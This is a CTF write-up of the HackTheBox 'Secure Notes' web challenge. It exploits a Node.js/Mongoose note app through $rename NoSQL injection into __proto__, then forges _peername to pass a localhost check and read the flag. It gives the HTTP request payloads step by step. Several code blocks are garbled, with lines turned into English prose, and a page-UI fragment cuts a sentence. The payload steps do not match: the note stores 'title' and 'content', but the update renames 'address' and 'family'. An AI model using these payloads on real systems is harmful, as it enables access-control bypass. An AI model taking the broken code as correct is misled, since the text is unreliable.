Htb Writeup | Web Penetration Testing | Cybersecurity | Webchallenge

Secure Notes — HTB Writeup



Mohamed Abd almalek Follow 4 min read · Aug 30, 2026

NoSQL Injection → Prototype Pollution → Access Control Bypass

`Medium` `Node.js` `MongoDB` `NoSQL Injection` `Prototype Pollution` `Access Control Bypass`

Summary

Secure Notes is a web-based note-taking application developed using Express and Mongoose. When updating a note, the application places too much trust in the JSON provided by the client, which allows the MongoDB $rename operator to be injected. By exploiting $rename to write data into **proto**, Object. prototype is corrupted, and this corruption occurs precisely at the location where Node.js stores cached connection metadata for incoming sockets. As a result, it becomes possible to forge the value that Node sends for remoteAddress, bypass a restriction that permits access only from localhost, and read the flag from a route that should not be accessible from outside the machine.

. . .

1. Initial Recon

The app is a simple note manager — you can create a note, view it and edit it. Since there are no indications of a vulnerability on the frontend, the obvious thing to do next is to look at the server-side source code.

2. The Location of the Flag Endpoint

The route that actually matters is contained within app.js:

```
app.get('/flag', (req, res) => {
    const remoteAddress = req.connection.remoteAddress;
    If the remoteAddress is '127.0.0.1' or '::1' or '::ffff:127.0.0.1' then{
        res.send(process.env.FLAG);
    } else {
        res.status(403).json({ Message: 'Access denied' });
    }
});
```

Here's some simple logic: if the raw socket's remoteAddress is not loopback, a 403 response is returned. There is no possibility of header spoofing (such as with the X-Forwarded-For header), nor any misconfiguration of the trust proxy setting that could be exploited — the check is based directly on the TCP connection object, which is essentially the only thing that a remote attacker cannot access directly.

Goal: find a method of making Node.js think that our request originated from `127.0.0.1`.

3. Locating the Injection Point

The note-update route is where things get interesting:

```
app.post('/update', async (req, res) => {
    try {
        The noteId is taken from req.body.
        await Note.findByIdAndUpdate(noteId, req.body);
        Set the result to the result of asynchronously finding the note with the
        res.json(result);
    } catch (error) {
        res.status(500).json({ Message: "An error has occurred" });
    }
});
```

Open in app ↗ Sign up Sign in

Medium Search Write

such as $set, $rename, $where, and so on are not used. Therefore, any JSON we send becomes the exact update that MongoDB carries out.

It's a typical case of NoSQL injection through the use of unsanitized update operators.

4. Testing MongoDB Operators

The version of the dependency is confirmed by checking package.json:

```
"mongoose": "^7.2.4"
```

The version Mongoose 7.2.4 comes before the patch for **CVE-2023–3696**, a critical Prototype Pollution vulnerability in `lib/document.js`. The security advisory specifically mentions update helpers such as `findByIdAndUpdate()` as the condition that can be exploited via the `$rename` operator — that operator being precisely the one found in `/update`.

Get Mohamed Abd almalek's stories in your inbox

Join Medium for free to get updates from this writer.

Enter your email Subscribe

Remember me for faster sign in

Normally $rename merely renames a field within a document. The problem is that MongoDB is willing to accept dot-notation paths as the target of the rename, including special property names such as **proto**. Mongoose does not clean that path before writing the document back into memory, so a rename target of **proto**. something ends up directly accessing the JavaScript prototype chain rather than remaining within the document.

5. The construction of the payload

Step 1 — create a note carrying the values we want to plant:

```
POST /create HTTP/1.1
Content-Type: application/json
```

```
{"title":"127.0.0.1","content":"IPv4"}
```

All this does is place two ordinary strings into a regular note. There's still nothing malicious about it — we're dealing with the *values*, not the *keys*, which are the ones that will end up polluting the prototype.

Step 2 — rename those fields into `__proto__`:

```
POST /update HTTP/1.1
Content-Type: application/json
```

```
{
    "noteId": "<note_id_from_step_1>",
    "$rename": {
        "address": "__proto__._peername.address",
        "family": "__proto__._peername.family"
    }
}
```

When Mongoose carries out this update, the rename operation proceeds to browse the resulting document and, rather than stopping at a safe boundary, directly writes into `Object.prototype`. As a result, every plain object that is created afterwards in the running Node process—unless that object explicitly defines its own `_peername`—will inherit:

```
Object.prototype._peername = {
    address: "127.0.0.1",
    family: "IPv4"
}
```

6. The Reason Why _peername

What causes the chain to click is that Node.js's `net.Socket` does not hardcode `remoteAddress` as a fixed own-property on every socket instance throughout all code paths; instead, it obtains the peer's connection information via a cached object usually referred to as `_peername`, and the getters available on the socket (`remoteAddress`, `remoteFamily`, `remotePort`) read from this object. If the object is not set as an own-property of the socket at the time it is accessed, JavaScript's prototype chain comes into play and retrieves it from `Object.prototype` — exactly what we had previously contaminated.

Therefore, the same lookup that Express carries out in the `/flag` case—namely (`req.connection.remoteAddress`)—ends up returning our forged value, even though the request actually came in from a remote IP address.

7. Obtaining the Flag

With the pollution in place, one plain request is enough:

```
GET /flag HTTP/1.1
```

```
HTB{m0ng00s3_pr0t0typ3_p0llus10n_c0mb1n3d_w1th_1nt3rn4l_n0d3_g4dg3ts!}
```

The access-control check is passed since Node now indicates `127.0.0.1` as the peer address, and the server then sends the flag to a client that, in reality, is not near localhost.

Htb Writeup + Web Penetration Testing + Cybersecurity +

Webchallenge +



Written by Mohamed Abd almalek

5 followers · 7 following

Follow

No responses yet

Write a response

What are your thoughts?